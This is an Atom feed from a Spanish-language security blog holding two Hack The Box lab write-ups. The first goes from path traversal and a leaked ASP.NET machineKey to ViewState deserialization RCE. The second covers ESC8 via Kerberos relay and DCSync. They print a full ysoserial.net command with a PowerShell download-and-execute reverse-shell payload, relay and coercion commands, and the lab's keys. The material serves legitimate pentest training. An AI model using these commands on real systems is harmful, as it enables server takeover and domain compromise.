<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0xzig0x.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0xzig0x.github.io/" rel="alternate" type="text/html" /><updated>2026-03-26T05:55:24+00:00</updated><id>https://0xzig0x.github.io/feed.xml</id><title type="html">0xzig0x</title><subtitle>Apasionado y estudiante de ciberseguridad especializado en Red Team y Pentesting</subtitle><author><name>0xzig0x</name></author><entry><title type="html">Remote Code Execution via ViewState Deserialization leveraging disclosed ASP.NET MachineKey obtained through Local File Inclusion vulnerability</title><link href="https://0xzig0x.github.io/hack%20the%20box/web/windows/2026/03/26/Remote-Code-Execution-via-ViewState-Deserialization-leveraging-disclosed-ASP.NET-MachineKey-obtained-through-Local-File-Inclusion-vulnerability.html" rel="alternate" type="text/html" title="Remote Code Execution via ViewState Deserialization leveraging disclosed ASP.NET MachineKey obtained through Local File Inclusion vulnerability" /><published>2026-03-26T00:00:00+00:00</published><updated>2026-03-26T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/web/windows/2026/03/26/Remote-Code-Execution-via-ViewState-Deserialization-leveraging-disclosed-ASP.NET-MachineKey-obtained-through-Local-File-Inclusion-vulnerability</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/web/windows/2026/03/26/Remote-Code-Execution-via-ViewState-Deserialization-leveraging-disclosed-ASP.NET-MachineKey-obtained-through-Local-File-Inclusion-vulnerability.html"><![CDATA[<p>En este caso hablare sobre como pasar de un LFI a un RCE gracias al MachineKey</p>

<p>para demostrar este ataque estaré atacando la maquina Pov de Hack The Box</p>

<h2 id="el-punto-de-entrada">El punto de entrada</h2>

<p>En <code class="language-plaintext highlighter-rouge">dev.pov.htb/portfolio/default.aspx</code> encontré una funcionalidad de descarga de archivos. Al interceptar el request con Burp Suite vi que en el body viajaba un parámetro llamado <code class="language-plaintext highlighter-rouge">file</code> que el servidor usaba directamente para localizar y servir el archivo solicitado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__EVENTTARGET=download&amp;...&amp;file=somefile.pdf
</code></pre></div></div>

<p>El problema es que el servidor no validaba ni sanitizaba ese input. Eso me permitió hacer <strong>Path Traversal</strong> — usando <code class="language-plaintext highlighter-rouge">..././</code> puedo salir del directorio donde vive la aplicación y navegar hacia cualquier parte del sistema de archivos. La secuencia <code class="language-plaintext highlighter-rouge">../</code> significa “sube un nivel en el directorio”, así que encadenando varios puedo llegar a la raíz del sistema y leer lo que quiera. En este caso apunté al <code class="language-plaintext highlighter-rouge">web.config</code>:</p>

<p><a href="/assets/images/213.png"><img src="/assets/images/213.png" alt="" /></a></p>

<p>El servidor respondió con el contenido completo del archivo. Hasta aquí tengo un LFI — puedo leer archivos internos del sistema. Pero lo que encontré dentro de ese archivo es lo que convirtió un LFI en algo mucho más crítico.</p>

<hr />

<h2 id="webconfig--por-qué-es-el-archivo-más-valioso-que-puedes-leer-en-aspnet">web.config — Por qué es el archivo más valioso que puedes leer en ASP.NET</h2>

<p>El <code class="language-plaintext highlighter-rouge">web.config</code> es el archivo de configuración central de toda aplicación ASP.NET. Contiene la configuración del runtime, cadenas de conexión a bases de datos, configuración de errores, y en este caso lo más interesante: el <strong>MachineKey</strong>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;machineKey</span>
  <span class="na">decryption=</span><span class="s">"AES"</span>
  <span class="na">decryptionKey=</span><span class="s">"74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"</span>
  <span class="na">validation=</span><span class="s">"SHA1"</span>
  <span class="na">validationKey=</span><span class="s">"5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"</span>
<span class="nt">/&gt;</span>
</code></pre></div></div>

<p>Tengo dos keys y necesito entender exactamente para qué sirve cada una, porque de eso depende todo el ataque.</p>

<hr />

<h2 id="el-machinekey-y-el-viewstate--cómo-funciona-el-mecanismo-que-voy-a-explotar">El MachineKey y el ViewState — cómo funciona el mecanismo que voy a explotar</h2>

<p>Para entender por qué estas keys me dan RCE necesito explicar qué es el <strong>ViewState</strong> y cómo lo protege el MachineKey.</p>

<p>ASP.NET es stateless por naturaleza — cada HTTP request es independiente del anterior. Para mantener el estado de los controles de una página entre requests (qué botón estaba activo, qué valores tenía un formulario, etc.), ASP.NET serializa ese estado en un objeto .NET, lo convierte en bytes con <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> y lo manda al cliente como un campo hidden en el HTML:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"__VIEWSTATE"</span> <span class="na">value=</span><span class="s">"BASE64_AQUI"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>En cada POST que el navegador hace, ese valor regresa al servidor. El servidor lo toma, lo deserializa con <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> y reconstruye los objetos .NET para restaurar el estado de la página.</p>

<p>El problema de seguridad obvio es que ese dato viaja en el cliente — cualquiera podría modificarlo. Para protegerlo existe el MachineKey, que cumple dos funciones:</p>

<p><strong><code class="language-plaintext highlighter-rouge">validationKey</code> con SHA1</strong> — el servidor calcula un HMAC del ViewState usando esta key y lo adjunta. Cuando el ViewState regresa en el POST, el servidor recalcula el HMAC y lo compara. Si no coincide, el ViewState fue manipulado y lo rechaza. Esta key garantiza la <strong>integridad</strong>.</p>

<p><strong><code class="language-plaintext highlighter-rouge">decryptionKey</code> con AES</strong> — además de firmarlo, el servidor cifra el ViewState con esta key. El cliente recibe un blob cifrado que no puede leer ni entender. Esta key garantiza la <strong>confidencialidad</strong>.</p>

<p>El flujo completo de un ViewState legítimo es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Servidor genera estado de la página
        ↓
BinaryFormatter serializa los objetos .NET → bytes
        ↓
Cifra los bytes con AES (decryptionKey)
        ↓
Calcula HMAC-SHA1 de los bytes cifrados (validationKey)
        ↓
Concatena [bytes cifrados] + [firma HMAC]
        ↓
Codifica en Base64 → campo __VIEWSTATE
        ↓
Cliente hace POST devolviendo el __VIEWSTATE
        ↓
Servidor verifica firma HMAC (validationKey) ✓
        ↓
Descifra con AES (decryptionKey) ✓
        ↓
BinaryFormatter.Deserialize() ← AQUÍ ESTÁ EL PROBLEMA
</code></pre></div></div>

<p>El paso de deserialización es el punto crítico. <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> ejecuta código del objeto que está reconstruyendo <strong>durante</strong> la deserialización, antes de que la aplicación pueda inspeccionar o validar qué es ese objeto. Si el objeto contiene lógica maliciosa, esa lógica se ejecuta en el servidor.</p>

<p>El MachineKey existe exactamente para que nadie pueda meter un objeto malicioso en ese flujo — si no tienes las keys, no puedes generar un ViewState que el servidor acepte. Pero yo acababa de leer las keys gracias al Path Traversal.</p>

<blockquote>
  <p>Con el MachineKey en mi poder, puedo construir un objeto .NET malicioso, cifrarlo con AES usando la <code class="language-plaintext highlighter-rouge">decryptionKey</code>, firmarlo con HMAC-SHA1 usando la <code class="language-plaintext highlighter-rouge">validationKey</code>, codificarlo en Base64 y mandarlo como <code class="language-plaintext highlighter-rouge">__VIEWSTATE</code>. El servidor lo verificará, lo descifrará, y lo deserializará — ejecutando mi código.</p>
</blockquote>

<hr />

<h2 id="generando-el-payload-con-ysoserialnet">Generando el payload con ysoserial.net</h2>

<p>Para forjar el ViewState malicioso usé <strong><a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a></strong>, una herramienta que automatiza la construcción de payloads de deserialización para múltiples frameworks .NET.</p>

<p>Lo primero que hice fue generar un payload de prueba que ejecutara un ping hacia mi máquina. Antes de lanzar una reverse shell siempre verifico primero que tengo ejecución de código — el ping es la forma más limpia de confirmarlo sin levantar tanto ruido:</p>

<p><a href="/assets/images/214.png"><img src="/assets/images/214.png" alt="" /></a></p>

<h3 id="qué-hace-cada-flag-y-por-qué-es-necesario">Qué hace cada flag y por qué es necesario</h3>

<p><strong><code class="language-plaintext highlighter-rouge">-p ViewState</code></strong> — el payload plugin. Le dice a ysoserial que el output no es un payload genérico sino un ViewState válido para ASP.NET, con todo el formato y estructura que el servidor espera. Sin esto el servidor rechazaría el request antes de llegar a deserializar.</p>

<p><strong><code class="language-plaintext highlighter-rouge">-g TextFormattingRunProperties</code></strong> — la gadget chain. Una gadget chain es una secuencia de clases .NET completamente legítimas que, al ser deserializadas en un orden específico, producen como efecto secundario la ejecución de código arbitrario. No es código malicioso inyectado — son clases que ya existen en el sistema usadas de una forma no intencionada. <code class="language-plaintext highlighter-rouge">TextFormattingRunProperties</code> usa clases de <code class="language-plaintext highlighter-rouge">Microsoft.PowerShell.Editor.dll</code> que están disponibles en el GAC de Windows. La cadena internamente instancia un <code class="language-plaintext highlighter-rouge">ObjectDataProvider</code> a través de XAML que termina llamando <code class="language-plaintext highlighter-rouge">Process.Start()</code> con mi comando.</p>

<p><strong><code class="language-plaintext highlighter-rouge">-c "ping -n 3 10.10.15.15"</code></strong> — el comando que quiero que ejecute el servidor cuando deserialice el payload.</p>

<p><strong><code class="language-plaintext highlighter-rouge">--path="/portfolio/default.aspx"</code></strong> — ASP.NET incluye el path de la página en el cálculo del HMAC. Esto existe para que un ViewState generado para una página no pueda usarse en otra. Si le paso el path incorrecto, la firma que calcule ysoserial no coincidirá con lo que espera el servidor y rechazará el ViewState. Tiene que ser el path exacto del endpoint al que voy a hacer el POST.</p>

<p><strong><code class="language-plaintext highlighter-rouge">--apppath="/"</code></strong> — el path raíz de la aplicación web, también incluido en el cálculo criptográfico.</p>

<p><strong><code class="language-plaintext highlighter-rouge">--decryptionalg="AES"</code> y <code class="language-plaintext highlighter-rouge">--decryptionkey="..."</code></strong> — para que ysoserial cifre el payload con el mismo algoritmo y key que usa el servidor. El resultado tiene que ser indistinguible de un ViewState legítimo.</p>

<p><strong><code class="language-plaintext highlighter-rouge">--validationalg="SHA1"</code> y <code class="language-plaintext highlighter-rouge">--validationkey="..."</code></strong> — para que ysoserial calcule el HMAC con las mismas keys del servidor. Si la firma no cuadra, el servidor descarta el ViewState antes de deserializarlo.</p>

<p><strong><code class="language-plaintext highlighter-rouge">--isencrypted</code></strong> — le indica a ysoserial que debe cifrar el payload además de firmarlo. Esto es necesario porque el <code class="language-plaintext highlighter-rouge">web.config</code> tiene <code class="language-plaintext highlighter-rouge">decryptionKey</code> definido, lo que significa que el servidor espera recibir ViewStates cifrados. Sin este flag, ysoserial solo firmaría el payload y el servidor lo rechazaría al intentar descifrarlo.</p>

<h3 id="lo-que-ysoserial-hace-internamente-con-todo-eso">Lo que ysoserial hace internamente con todo eso</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Construye el objeto malicioso .NET (gadget chain TextFormattingRunProperties)
        ↓
2. Lo serializa con BinaryFormatter → bytes raw
        ↓
3. Cifra los bytes con AES usando la decryptionKey
        ↓
4. Calcula HMAC-SHA1 de los bytes cifrados usando la validationKey
           (incluyendo el path en el cálculo)
        ↓
5. Concatena [bytes cifrados] + [firma HMAC]
        ↓
6. Codifica en Base64
        ↓
Output: ViewState malicioso idéntico en estructura a uno legítimo
</code></pre></div></div>

<hr />

<h2 id="verificando-el-rce-con-ping">Verificando el RCE con ping</h2>

<p>Puse <code class="language-plaintext highlighter-rouge">tcpdump</code> escuchando trazas ICMP en <code class="language-plaintext highlighter-rouge">tun0</code> en mi máquina</p>

<p>Tomé el output de ysoserial, lo inserté en el campo <code class="language-plaintext highlighter-rouge">__VIEWSTATE</code> del request en Burp Suite reemplazando el valor original, y lo envié.</p>

<p><a href="/assets/images/215.png"><img src="/assets/images/215.png" alt="" /></a></p>

<p>En <code class="language-plaintext highlighter-rouge">tcpdump</code> recibí los pings. El servidor tomó mi <code class="language-plaintext highlighter-rouge">__VIEWSTATE</code>, verificó la firma HMAC con su <code class="language-plaintext highlighter-rouge">validationKey</code> — válida porque usé la misma key — lo descifró con su <code class="language-plaintext highlighter-rouge">decryptionKey</code> — válido por la misma razón — y llamó a <code class="language-plaintext highlighter-rouge">BinaryFormatter.Deserialize()</code> que ejecutó la gadget chain y lanzó el ping hacia mi máquina. RCE confirmado.</p>

<hr />

<h2 id="de-ping-a-reverse-shell">De ping a reverse shell</h2>

<p>Con el RCE confirmado, generé un nuevo payload. En lugar de un ping, el comando descarga y ejecuta un script PowerShell (<code class="language-plaintext highlighter-rouge">r.ps1</code>) desde mi máquina que establece la reverse shell:</p>

<pre><code class="language-cmd">ysoserial.exe -p ViewState
  -g TextFormattingRunProperties
  -c "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.15/r.ps1')"
  --path="/portfolio/default.aspx"
  --apppath="/"
  --decryptionalg="AES"
  --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
  --validationalg="SHA1"
  --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
  --isencrypted
</code></pre>

<p>Usé PowerShell con <code class="language-plaintext highlighter-rouge">IEX</code> + <code class="language-plaintext highlighter-rouge">DownloadString</code> en lugar de poner el payload de la shell directamente en el argumento <code class="language-plaintext highlighter-rouge">-c</code> porque así evito problemas de escapado de caracteres y el payload pesado no queda embebido en el ViewState — el servidor solo ejecuta una descarga HTTP hacia mi máquina y desde ahí corre el script.</p>

<p>Con un servidor HTTP en Kali sirviendo el <code class="language-plaintext highlighter-rouge">r.ps1</code> y un listener en el puerto 443:</p>

<p><a href="/assets/images/216.png"><img src="/assets/images/216.png" alt="" /></a></p>

<p>Inserté el nuevo payload en el <code class="language-plaintext highlighter-rouge">__VIEWSTATE</code>, envié el request, el servidor descargó el <code class="language-plaintext highlighter-rouge">r.ps1</code> desde mi HTTP server y ejecutó la reverse shell. Recibí la conexión como <code class="language-plaintext highlighter-rouge">pov\sfitz</code> — el usuario bajo el que corre el pool de aplicaciones de IIS.</p>

<hr />

<h2 id="la-cadena-completa">La cadena completa</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Path Traversal en parámetro file=../../web.config
        ↓
Lectura del web.config → MachineKey expuesto
  decryptionKey: 74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
  validationKey: 5620D3D029F914F4CDF25869D24EC2DA517435B200...
        ↓
ysoserial.net construye gadget chain TextFormattingRunProperties
  → serializada con BinaryFormatter → cifrada AES → firmada HMAC-SHA1 → Base64
        ↓
POST con __VIEWSTATE malicioso a /portfolio/default.aspx
        ↓
Servidor: verifica firma ✓ → descifra ✓ → BinaryFormatter.Deserialize()
        ↓
Gadget chain ejecuta Process.Start() → descarga r.ps1 → reverse shell
        ↓
Shell como pov\sfitz
</code></pre></div></div>

<hr />

<h2 id="por-qué-funciona--la-raíz-del-problema">Por qué funciona — la raíz del problema</h2>

<p>Este ataque es posible por dos fallos independientes que al encadenarse se vuelven devastadores. El <strong>Path Traversal</strong> rompió el primer supuesto de seguridad: que el <code class="language-plaintext highlighter-rouge">web.config</code> y el MachineKey que contiene son inaccesibles desde fuera del servidor. La <strong>deserialización insegura</strong> de <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> rompió el segundo: que los datos que llegan al servidor en el ViewState son seguros de procesar siempre que estén correctamente firmados y cifrados.</p>

<p>El MachineKey fue diseñado para que solo el servidor pueda generar ViewStates válidos, haciendo imposible meter objetos maliciosos en el flujo de deserialización. Esa garantía depende enteramente de que las keys sean secretas. El LFI destruyó ese secreto y con él colapsó toda la cadena de seguridad — lo que parecía ser solo lectura de archivos se convirtió en ejecución remota de código completa por la información específica que expuso.</p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Web" /><category term="Windows" /><category term="aspnet" /><category term="Windows" /><category term="path-traversal" /><category term="LFI" /><category term="RCE" /><category term="machinekey" /><summary type="html"><![CDATA[En este caso hablare sobre como pasar de un LFI a un RCE gracias al MachineKey]]></summary></entry><entry><title type="html">ESC8 via Kerberos Relay — cuando el DC no soporta NTLM</title><link href="https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/03/13/ESC8-via-Kerberos-Relay-cuando-el-DC-no-soporta-NTLM.html" rel="alternate" type="text/html" title="ESC8 via Kerberos Relay — cuando el DC no soporta NTLM" /><published>2026-03-13T00:00:00+00:00</published><updated>2026-03-13T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/03/13/ESC8%20via%20Kerberos%20Relay%20%E2%80%94%20cuando%20el%20DC%20no%20soporta%20NTLM</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/03/13/ESC8-via-Kerberos-Relay-cuando-el-DC-no-soporta-NTLM.html"><![CDATA[<h2 id="contexto">Contexto</h2>

<p>Estaba atacando <code class="language-plaintext highlighter-rouge">cicada.vl</code>, un dominio Windows donde NTLM estaba completamente deshabilitado en el DC. El objetivo era comprometer el dominio partiendo de credenciales de un usuario sin privilegios especiales: <code class="language-plaintext highlighter-rouge">Rosie.Powell</code>.</p>

<p>Al enumerar con <code class="language-plaintext highlighter-rouge">certipy-ad</code>, identifiqué que la Certification Authority del dominio (<code class="language-plaintext highlighter-rouge">cicada-DC-JPQ225-CA</code>) tenía habilitado <strong>Web Enrollment sobre HTTP</strong> — eso es ESC8.</p>

<p><a href="/assets/images/193.png"><img src="/assets/images/193.png" alt="" /></a></p>

<p>El problema: ESC8 normalmente se explota haciendo NTLM relay hacia el endpoint HTTP de ADCS (<code class="language-plaintext highlighter-rouge">/certsrv/certfnsh.asp</code>). Pero aquí NTLM estaba deshabilitado, así que el relay clásico con <code class="language-plaintext highlighter-rouge">ntlmrelayx</code> no era una opción. La única salida era hacer <strong>Kerberos relay</strong>.</p>

<hr />

<h2 id="qué-es-esc8">Qué es ESC8</h2>

<p>ESC8 es una misconfiguration de ADCS donde el endpoint de Web Enrollment (<code class="language-plaintext highlighter-rouge">http://&lt;CA&gt;/certsrv/</code>) no requiere HTTPS ni firma. Esto permite que un atacante que reciba una autenticación de la cuenta de máquina del DC pueda relayarla hacia ese endpoint y obtener un certificado como <code class="language-plaintext highlighter-rouge">DC$</code>.</p>

<p>Con ese certificado puedo:</p>

<ol>
  <li>Autenticarme como <code class="language-plaintext highlighter-rouge">DC$</code> via PKINIT (Kerberos + certificado)</li>
  <li>Extraer el hash NT del DC</li>
  <li>Hacer DCSync y dumpear todos los hashes del dominio</li>
</ol>

<p>El flujo completo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Coerce DC → autentica hacia mí → relay a /certsrv/ → certificado DC$ → TGT DC$ → DCSync → hash Administrator
</code></pre></div></div>

<hr />

<h2 id="por-qué-no-funciona-el-relay-ntlm-clásico">Por qué no funciona el relay NTLM clásico</h2>

<p>En un entorno normal haría esto:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ntlmrelayx.py <span class="nt">-t</span> http://&lt;CA&gt;/certsrv/certfnsh.asp <span class="nt">--adcs</span> <span class="nt">--template</span> DomainController
petitpotam.py &lt;mi_ip&gt; &lt;dc&gt;
</code></pre></div></div>

<p>Pero aquí el DC tiene NTLM deshabilitado (<code class="language-plaintext highlighter-rouge">NTLM:False</code> en la salida de nxc). Cuando el DC intenta autenticarse a mi servidor SMB, no negocia NTLM, sino que va directo a <strong>Kerberos</strong>. El relay NTLM nunca llega a ocurrir.</p>

<hr />

<h2 id="la-solución-kerberos-relay">La solución: Kerberos Relay</h2>

<p>Kerberos relay se consideraba imposible durante mucho tiempo porque el <code class="language-plaintext highlighter-rouge">AP_REQ</code> (el mensaje de autenticación Kerberos) va dirigido a un <strong>SPN específico</strong>. Si el DC pide un ticket para <code class="language-plaintext highlighter-rouge">cifs/miservidor</code>, ese ticket solo vale para ese servicio. No puedo relayarlo a <code class="language-plaintext highlighter-rouge">http://ca/certsrv/</code> porque el SPN no coincide y el servidor lo rechazará.</p>

<p>El truco para que funcione es forzar al DC a generar un ticket ya dirigido al servicio correcto. Eso se consigue manipulando cómo Windows construye el SPN.</p>

<hr />

<h2 id="credmarshaltargetinfo--el-corazón-del-ataque">CredMarshalTargetInfo — el corazón del ataque</h2>

<p>Cuando Windows se conecta por SMB a un servidor, internamente llama a <code class="language-plaintext highlighter-rouge">SecMakeSPNEx2</code> para construir el SPN. Esta función llama a <code class="language-plaintext highlighter-rouge">CredMarshalTargetInfo</code>, que toma información del destino, la <strong>serializa en Base64</strong> y la <strong>añade al final del nombre del host</strong>.</p>

<p>El resultado tiene este aspecto:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cifs/DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
</code></pre></div></div>

<p>Cuando el cliente ve un hostname que termina con esa cadena, llama a <code class="language-plaintext highlighter-rouge">CredUnmarshalTargetInfo</code>, extrae la estructura serializada del nombre, y usa solo la parte del nombre real (<code class="language-plaintext highlighter-rouge">DC-JPQ225</code>) como SPN para pedir el ticket Kerberos.</p>

<p><strong>El resultado</strong>: el DC pide un ticket para <code class="language-plaintext highlighter-rouge">cifs/DC-JPQ225</code> (la máquina real), pero se conecta físicamente al host <code class="language-plaintext highlighter-rouge">DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</code> — que soy yo.</p>

<p>Yo recibo un <code class="language-plaintext highlighter-rouge">AP_REQ</code> con la identidad de <code class="language-plaintext highlighter-rouge">DC-JPQ225$</code> correctamente embebida, y lo puedo relaizar a cualquier servicio que acepte Kerberos sin firma, como el endpoint HTTP de ADCS.</p>

<hr />

<h2 id="de-dónde-sale-el-sufijo-1uwhrcaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaybaaaa">De dónde sale el sufijo <code class="language-plaintext highlighter-rouge">1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</code></h2>

<p>Esta fue la pregunta clave. El sufijo es la <strong>serialización mínima</strong> de una estructura <code class="language-plaintext highlighter-rouge">CREDENTIAL_TARGET_INFORMATIONW</code> vacía.</p>

<p>Se puede generar con Frida hookando <code class="language-plaintext highlighter-rouge">CredMarshalTargetInfo</code> en <code class="language-plaintext highlighter-rouge">lsass.exe</code> con una estructura vacía:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Frida hook → CredMarshalTargetInfo con CREDENTIAL_TARGET_INFORMATIONW vacía</span>
<span class="c1">// Output: 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</span>
</code></pre></div></div>

<p>Este valor es <strong>siempre el mismo</strong> porque la estructura está vacía. Es un valor estático que puedo memorizar o copiar directamente.</p>

<p>El formato completo del DNS record es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;nombre_real_del_host&gt;1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
</code></pre></div></div>

<p>Para mi caso:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
</code></pre></div></div>

<hr />

<h2 id="el-ataque-paso-a-paso">El ataque paso a paso</h2>

<h3 id="prerequisitos">Prerequisitos</h3>

<ul>
  <li>Usuario de dominio con permisos para crear DNS records (cualquier usuario autenticado puede hacerlo por defecto en AD)</li>
  <li>ADCS con Web Enrollment habilitado sobre HTTP (ESC8)</li>
  <li>Capacidad de coerce (PetitPotam, DFSCoerce, PrinterBug, etc.)</li>
</ul>

<h3 id="paso-1--crear-el-dns-record-malicioso">Paso 1 — Crear el DNS record malicioso</h3>

<p>Registro un DNS record con el nombre especial que hace que el DC genere el ticket con la identidad correcta, apuntando a mi máquina:</p>

<p><a href="/assets/images/194.png"><img src="/assets/images/194.png" alt="" /></a></p>

<h3 id="paso-2--levantar-el-relay">Paso 2 — Levantar el relay</h3>

<p><a href="/assets/images/195.png"><img src="/assets/images/195.png" alt="" /></a></p>

<p>Certipy escucha en <code class="language-plaintext highlighter-rouge">0.0.0.0:445</code> esperando recibir el <code class="language-plaintext highlighter-rouge">AP_REQ</code> del DC.</p>

<h3 id="paso-3--coerce">Paso 3 — Coerce</h3>

<p>Fuerzo al DC a autenticarse hacia mi DNS record malicioso usando PetitPotam:</p>

<p><a href="/assets/images/196.png"><img src="/assets/images/196.png" alt="" /></a></p>

<p>El flujo interno en este momento:</p>

<ol>
  <li>El DC recibe la llamada EfsRpcAddUsersToFile</li>
  <li>Intenta autenticarse al hostname <code class="language-plaintext highlighter-rouge">DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</code></li>
  <li>Windows llama a <code class="language-plaintext highlighter-rouge">CredUnmarshalTargetInfo</code>, extrae la estructura, determina que el SPN real es <code class="language-plaintext highlighter-rouge">cifs/DC-JPQ225</code></li>
  <li>El DC pide un TGS para <code class="language-plaintext highlighter-rouge">cifs/DC-JPQ225</code> al KDC</li>
  <li>Envía el <code class="language-plaintext highlighter-rouge">AP_REQ</code> a mi IP (10.10.15.15) porque el DNS record apunta ahí</li>
  <li>Certipy recibe el <code class="language-plaintext highlighter-rouge">AP_REQ</code> con la identidad <code class="language-plaintext highlighter-rouge">DC-JPQ225$</code> y lo relaiza al endpoint HTTP de ADCS</li>
</ol>

<h3 id="paso-4--obtener-el-certificado">Paso 4 — Obtener el certificado</h3>

<p>Certipy recibe la conexión, relaiza el <code class="language-plaintext highlighter-rouge">AP_REQ</code> a <code class="language-plaintext highlighter-rouge">/certsrv/certfnsh.asp</code>, y solicita un certificado usando la template <code class="language-plaintext highlighter-rouge">DomainController</code> en nombre de <code class="language-plaintext highlighter-rouge">DC-JPQ225$</code>:</p>

<p><a href="/assets/images/197.png"><img src="/assets/images/197.png" alt="" /></a></p>

<h3 id="paso-5--autenticar-con-el-certificado-pkinit">Paso 5 — Autenticar con el certificado (PKINIT)</h3>

<p><a href="/assets/images/198.png"><img src="/assets/images/198.png" alt="" /></a></p>

<h3 id="paso-6--dcsync">Paso 6 — DCSync</h3>

<p><a href="/assets/images/199.png"><img src="/assets/images/199.png" alt="" /></a></p>

<hr />

<h2 id="diagrama-del-ataque">Diagrama del ataque</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Atacante                    DC (cicada.vl)              ADCS (certsrv)
   |                             |                           |
   |--[1] Crear DNS record------&gt;|                           |
   |    DC-JPQ225&lt;sufijo&gt; → mi IP|                           |
   |                             |                           |
   |--[2] Levantar relay en :445 |                           |
   |                             |                           |
   |--[3] PetitPotam coerce-----&gt;|                           |
   |                             |                           |
   |         [4] DC pide TGS para cifs/DC-JPQ225             |
   |         [5] DC envía AP_REQ a mi IP (DNS record)        |
   |&lt;--[5] AP_REQ (DC-JPQ225$)---|                           |
   |                             |                           |
   |--[6] Relay AP_REQ--------------------------------------&gt;|
   |                             |      [7] Certificado DC$  |
   |&lt;-----------------------------------------------[7]------|
   |                             |                           |
   |--[8] PKINIT con dc-jpq225.pfx→ TGT DC$                  |
   |--[9] DCSync → hashes del dominio                        |
</code></pre></div></div>

<hr />

<h2 id="notas-importantes">Notas importantes</h2>

<p><strong>Por qué falla certipy v5 a veces con este ataque:</strong> Certipy v5 tiene un bug donde si el <code class="language-plaintext highlighter-rouge">AP_REQ</code> llega sin el nombre de usuario correctamente parseado (username vacío), falla con <code class="language-plaintext highlighter-rouge">Attribute's length must be &gt;= 1 and &lt;= 64, but it was 0</code>. Esto ocurre cuando el DNS record NO tiene el sufijo <code class="language-plaintext highlighter-rouge">CredMarshalTargetInfo</code> correcto — el ticket llega sin la identidad de <code class="language-plaintext highlighter-rouge">DC-JPQ225$</code> embebida.</p>

<p><strong>Nombre del DNS record sin el sufijo especial:</strong> Si registro simplemente <code class="language-plaintext highlighter-rouge">DC-JPQ225ATTACKER</code>, el DC genera un ticket para <code class="language-plaintext highlighter-rouge">cifs/DC-JPQ225ATTACKER</code> (el nombre tal cual), no para <code class="language-plaintext highlighter-rouge">cifs/DC-JPQ225</code>. Certipy recibe el <code class="language-plaintext highlighter-rouge">AP_REQ</code> pero el campo de identidad llega vacío porque no hay una cuenta de máquina llamada <code class="language-plaintext highlighter-rouge">DC-JPQ225ATTACKER</code> en el dominio.</p>

<p><strong>Sincronización de tiempo:</strong> Kerberos requiere que el reloj del atacante esté sincronizado con el DC (máximo 5 minutos de diferencia). Si hay problemas de autenticación, ejecutar <code class="language-plaintext highlighter-rouge">sudo ntpdate &lt;DC_IP&gt;</code> suele solucionarlo.</p>

<p><strong>El DNS record persiste tras el reset de la máquina:</strong> Si la máquina HTB se resetea, el DNS record se pierde junto con toda la configuración. Hay que volver a crearlo con bloodyAD o dnstool.py antes de repetir el ataque.</p>

<hr />

<h2 id="referencias">Referencias</h2>

<ul>
  <li><a href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx">Synacktiv — Relaying Kerberos over SMB using krbrelayx</a></li>
  <li><a href="https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html">James Forshaw — Using Kerberos for Authentication Relay Attacks (Project Zero)</a></li>
